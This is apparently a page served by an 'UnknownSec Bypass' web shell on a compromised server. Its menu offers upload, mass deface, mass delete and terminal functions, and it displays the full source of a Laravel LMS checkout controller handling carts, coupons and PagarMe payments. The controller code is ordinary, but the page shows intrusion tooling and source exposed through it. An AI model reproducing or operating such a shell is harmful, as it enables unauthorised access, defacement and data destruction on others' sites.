UnknownSec Bypass
403
:
/
mnt
/
lmsestudio-instance-vol002
/
lms_80429e4c6ca9
/
app
/
Http
/
Controllers
/
Cart
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
CheckoutController.php
<?php namespace EstudioLMS\Http\Controllers\Cart; use Carbon\Carbon; use Cohensive\Embed\Facades\Embed; use EstudioLMS\Cart\Cart; use EstudioLMS\Helpers\CartHelper; use EstudioLMS\Helpers\Helpers; use EstudioLMS\Http\Controllers\Controller; use EstudioLMS\Http\Requests\UserCartRequest; use EstudioLMS\Repositories\Coupon\CouponRepository; use EstudioLMS\Repositories\Courses\Course\CourseRepository; use EstudioLMS\Repositories\Environment\HiredCourseRepository; use EstudioLMS\Repositories\Financial\PlanRepository; use EstudioLMS\Repositories\Profile\ProfileAddressRepository; use EstudioLMS\Services\Admin\ConfigurationServices; use EstudioLMS\Services\Hires\HireServices; use EstudioLMS\Services\PagarMeService; use Illuminate\Contracts\Auth\Guard; use Illuminate\Http\Request; use mjanssen\BreadcrumbsBundle\Breadcrumbs; use Symfony\Component\HttpFoundation\Session\SessionInterface; use EstudioLMS\Services\Hires\BoletoService; use MyHelper; /** * Class CheckoutController * @package EstudioLMS\Http\Controllers\Cart */ class CheckoutController extends Controller { /** * @var Cart */ private $cart; /** * @var SessionInterface */ private $session; /** * @var CourseRepository */ private $course; /** * @var Breadcrumbs */ private $breadcrumbs; /** * @var HireServices */ private $hireServices; /** * @var Guard */ private $auth; /** * @var HiredCourseRepository */ private $hiredCourse; /** * @var CouponRepository */ private $couponRepository; /** * @var CartHelper */ private $cartHelper; /** * @var PlanRepository */ private $plan; /** * @var ProfileAddressRepository */ private $profileAddressRepository; private $boletoService; /** * @var PagarMeService */ private $pagarMeService; /** * @var ConfigurationServices */ private $configurationServices; /** * CheckoutController constructor. * @param Cart $cart * @param SessionInterface $session * @param CourseRepository $course * @param Breadcrumbs $breadcrumbs * @param HireServices $hireServices * @param Guard $auth * @param HiredCourseRepository $hiredCourse * @param CouponRepository $couponRepository * @param CartHelper $cartHelper * @param PlanRepository $plan * @param ProfileAddressRepository $profileAddressRepository * @param BoletoService $boletoService * @param PagarMeService $pagarMeService * @param ConfigurationServices $configurationServices */ public function __construct( Cart $cart, SessionInterface $session, CourseRepository $course, Breadcrumbs $breadcrumbs, HireServices $hireServices, Guard $auth, HiredCourseRepository $hiredCourse, CouponRepository $couponRepository, CartHelper $cartHelper, PlanRepository $plan, ProfileAddressRepository $profileAddressRepository, BoletoService $boletoService, PagarMeService $pagarMeService, ConfigurationServices $configurationServices ) { $this->middleware('student', ['only' => ['payment']]); $this->cart = $cart; $this->session = $session; $this->course = $course; $this->breadcrumbs = $breadcrumbs; $this->hireServices = $hireServices; $this->auth = $auth; $this->hiredCourse = $hiredCourse; $this->couponRepository = $couponRepository; $this->cartHelper = $cartHelper; $this->plan = $plan; $this->profileAddressRepository = $profileAddressRepository; $this->boletoService = $boletoService; $this->pagarMeService = $pagarMeService; $this->configurationServices = $configurationServices; } /** * @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View * Controler do checkout para usuários não logados */ public function login() { $cart = $this->getCart(); $course = null; $cardFlag = false; $billetFlag = false; $billetInstallments = 0; if ($cart->count() <= 0) { return view('checkout.payment', compact('cart')); } $course = $this->course->with([ 'user', 'category.language', 'plans' => function ($query) use ($cart) { $query->where('plan_id', $cart->get('plan_id')); }, 'gateways' ] )->find($cart->get('course_id')); foreach ($course->gateways as $gateway) { if ($gateway->title == 'Boleto') { $billetFlag = true; $billetInstallments = $gateway->pivot->installments; } if ($gateway->tittle !== 'Boleto') { $cardFlag = true; } } $embed = Embed::make($course['cover_video'])->parseUrl(); if ($embed) { // Set width of the embed. $embed->setAttribute(['width' => 800]); $embed->setAttribute(['height' => 450]); $course['embed'] = $embed->getHtml(); } return view('checkout.login', compact('cart', 'course', 'cardFlag', 'billetFlag', 'billetInstallments')); } /** * @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View * Controler do checkout para usuários não logados */ public function loginWithoutCart() { return view('checkout.login'); } /** * Pega o carrinho de compras da sessão caso exista, se não cria um novo carrinho * * * @return mixed */ private function getCart() { if ($this->session->has('cart')) { $cart = $this->session->get('cart'); } else { $cart = $this->cart; } return $cart; } /** * @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View * Controler do checkout para usuários logados, mas que precisam de informações de endereço e cpf */ public function shipping() { $user = $this->auth->user(); $cardFlag = false; $billetFlag = false; $billetInstallments = 0; $cart = $this->getCart(); $course = $this->course->with([ 'user', 'category.language', 'plans' => function ($query) use ($cart) { $query->where('plan_id', $cart->get('plan_id')); }, 'gateways' ] )->find($cart->get('course_id')); $embed = Embed::make($course['cover_video'])->parseUrl(); if ($embed) { $embed->setAttribute(['width' => 800]); $embed->setAttribute(['height' => 450]); $course['embed'] = $embed->getHtml(); } $ufArr = Helpers::UFlist(); $cards = null; if (count($user->customer) > 0) { $customerId = $user->customer[0]->customer_id; $cards = json_decode(json_encode($this->pagarMeService->getAllCustomerCards($customerId))); foreach ($cards as $key => $card) { $cards[$key]->default = false; foreach ($user->customer as $customer) { if ($card->id == $customer->card_id && $customer->default) { $cards[$key]->default = true; } } } } return view('checkout.shipping', compact('user', 'cart', 'course', 'cardFlag', 'billetFlag', 'billetInstallments', 'ufArr', 'cards', 'arrYears')); } /** * Controler do checkout para usuários logados realizar o pagamento * @param Request $request * @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View */ public function payment(Request $request) { $gateway_error = $request->has('gateway_error'); $user = $this->auth->user(); $cart = $this->getCart(); $cardFlag = false; $billetFlag = false; $billetInstallments = 0; $zipCode = ''; $checkHiredCourses = null; $courseNotAvailable = null; $courseNotAvailable = $this->course->checkIfCourseIsAvailable($cart->get('course_id')); if ($cart->count() > 0) { if (is_null($courseNotAvailable)) { unset($courseNotAvailable); $courseNotAvailable = ['id' => $cart->get('course_id'), 'course' => $cart->get('name')]; $cart->destroy(); $this->session->set('cart', $cart); $cart = $this->getCart(); } else { $courseNotAvailable = null; } } if ($cart->count() > 0) { $checkHiredCourses = $this->hireServices->checkHiredCourses($cart); $cart = $this->getCart(); } if ($cart->count() > 0) { $course = $this->course->with([ 'user', 'category.language', 'plans' => function ($query) use ($cart) { $query->where('plan_id', $cart->get('plan_id')); }, 'gateways' ] )->find($cart->get('course_id')); foreach ($course->gateways as $gateway) { if ($gateway->title == 'Boleto') { $billetFlag = true; $billetInstallments = $gateway->pivot->installments; } if ($gateway->tittle !== 'Boleto') { $cardFlag = true; } } $isPagarMeSetted = $this->configurationServices->validateGateways('PagarMe'); if ((!isset($user['address']['zip_code']) || empty($user['address']['zip_code'])) && ($course->material->published || $isPagarMeSetted)) { return redirect()->route('checkout.shipping'); } $embed = Embed::make($course['cover_video'])->parseUrl(); if ($embed) { $embed->setAttribute(['width' => 800]); $embed->setAttribute(['height' => 450]); $course['embed'] = $embed->getHtml(); } } $zipCode = $user['address']['zip_code']; if ($gateway_error) { $message = "<b>Infelizmente não foi possível concluir sua transação.</b>"; $message .= "<p>Configurações do PagSeguro inválidas. Entre com contato com a administração do site.</p>"; flash()->error($message); } $cards = null; if (count($user->customer) > 0) { $customerId = $user->customer[0]->customer_id; $cards = json_decode(json_encode($this->pagarMeService->getAllCustomerCards($customerId))); foreach ($cards as $key => $card) { $cards[$key]->default = false; foreach ($user->customer as $customer) { if ($card->id == $customer->card_id && $customer->default) { $cards[$key]->default = true; } } } } return view('checkout.payment', compact('cart', 'course', 'cardFlag', 'billetFlag', 'billetInstallments', 'zipCode', 'checkHiredCourses', 'courseNotAvailable', 'gateway_error', 'cards', 'arrYears')); } /** * @param Request $request * @return array|float|int */ public function applyDiscount(Request $request) { $cart = $this->getCart(); $data = $request->all(); $coupon = $this->couponRepository->with(['courses', 'courses.plans'])->findByField('code', $data['couponKey'])->first(); if (count($coupon) > 0) { $dateStart = !empty($coupon['published_at']) ? Carbon::createFromFormat('d/m/Y H:i', $coupon['published_at'])->format('Y-m-d H:i') : Carbon::createFromFormat('Y-m-d H:i', date('Y-m-d H:i'))->format('Y-m-d H:i'); $dateFinish = !empty($coupon['unpublished_at']) ? Carbon::createFromFormat('d/m/Y H:i', $coupon['unpublished_at'])->format('Y-m-d H:i') : Carbon::createFromFormat('Y-m-d H:i', date('Y-m-d H:i'))->format('Y-m-d H:i'); if ($coupon['published'] == true && ( $dateStart <= date('Y-m-d H:i') && $dateFinish >= date('Y-m-d H:i')) ) { foreach ($coupon['courses'] as $course) { if ($course['id'] == $cart->get('course_id')) { $discount = $coupon['discount']; $plan = $course['plans']->where('id', (int)$cart->get('plan_id'))->first(); $planPrice = $plan['pivot']['price'] + ($plan['pivot']['debit'] == 0 ? $plan['pivot']['registration'] : 0); $extraAmount = $cart->getExtraAmount(); $valDiscount = ((($planPrice + $extraAmount) * $discount) / 100); $valDiscount = MyHelper::numberFormatPrecision($valDiscount, 2); $cart->applyCoupon($valDiscount); return $valDiscount; } else { $cart->applyCoupon(0); } } } else { $ret = ['status' => false, 'message' => 'Cupom invalido ou inativo']; return $ret; } } else { $ret = ['status' => false, 'message' => 'Cupom invalido ou inativo']; return $ret; } $ret = ['status' => true]; return $ret; } /** * @param $success * @param Request $request * @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View * Controler do checkout para usuários que concluiram a compra */ public function result($success, Request $request) { $cart = $this->getCart(); $transactionId = null; $courseData = null; if (!empty($request['transaction_id'])) { $transactionId = $request['transaction_id']; $courseData = $this->hireServices->completePagseguro($request['transaction_id']); } $cart->destroy(); $this->session->set('cart', $cart); return view('checkout.result', compact('success')); } /** * @param $payCode * @param $installment * @param $success * @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View * Controler do checkout para usuários que concluiram a compra do boleto */ public function result_boleto($payCode, $installment, $success) { $cart = $this->getCart(); $cart->destroy(); $this->session->set('cart', $cart); $boleto = $this->boletoService->makeBilletPaghiper($payCode, $installment = 1); return view('checkout.result_boleto', compact('payCode', 'installment', 'success', 'boleto')); } /** * @param Request $request * @return string */ public function addShipping(Request $request) { $data = $request->all(); if ($data['shippingPrice'] >= 0) { $cart = $this->getCart(); $cart->addShipping($data['shippingCode'], $data['shippingPrice']); return '+' . $this->cartHelper->getShippingName($data['shippingCode']) . ': ' . $data['shippingPrice']; } return ''; } /** * @param Request $request * @return string */ public function seeShipping(Request $request) { $cart = $this->getCart(); $zip = $request->get('zip'); $zip = preg_replace('/[^0-9]/', '', $zip); return $this->cartHelper->seeShipping($zip, $cart); } /** * @param Request $request * @return \Illuminate\Http\RedirectResponse */ public function storeAdd(UserCartRequest $request) { $user = $this->auth->user(); $data = $request->all(); $user->cpf = $data['cpf']; $user->save(); $data['address']['user_id'] = $user->id; $data['address']['type'] = 1; $this->profileAddressRepository->updateOrCreate(['user_id' => $user->id], $data['address']); return redirect()->route('checkout.payment'); } /** * @return float|string */ public function installments() { $cart = $this->getCart(); $course = $this->course->find($cart->get('course_id')); $noInterest = $course->gateways[0]->pivot->installments; $config = $this->configurationServices->configuration(); $amount = $cart->get('price') + $cart->get('extra_amount') + $cart->get('shipping_price'); $amount = $amount - $cart->getDiscountAmount(); $amount = strval($amount * 100); if ($config->installment_id > 1) $installments = $this->pagarMeService->installments($amount, $noInterest, $config->installment_id, 1); else $installments = $this->pagarMeService->installments($amount, 1, 1, 0); $installments = json_decode(json_encode($installments), true); $installments = $installments['installments']; foreach ($installments as $key => $installment) { $installments[$key]['value'] = $key . 'x de ' . MyHelper::formatValue((double)$installment['installment_amount'] / 100) . ' = ' . MyHelper::formatValue((double)$installment['amount'] / 100); } $parcelas = array_pluck($installments, 'value', 'installment'); return $parcelas; } }
Copyright © 2026 - UnknownSec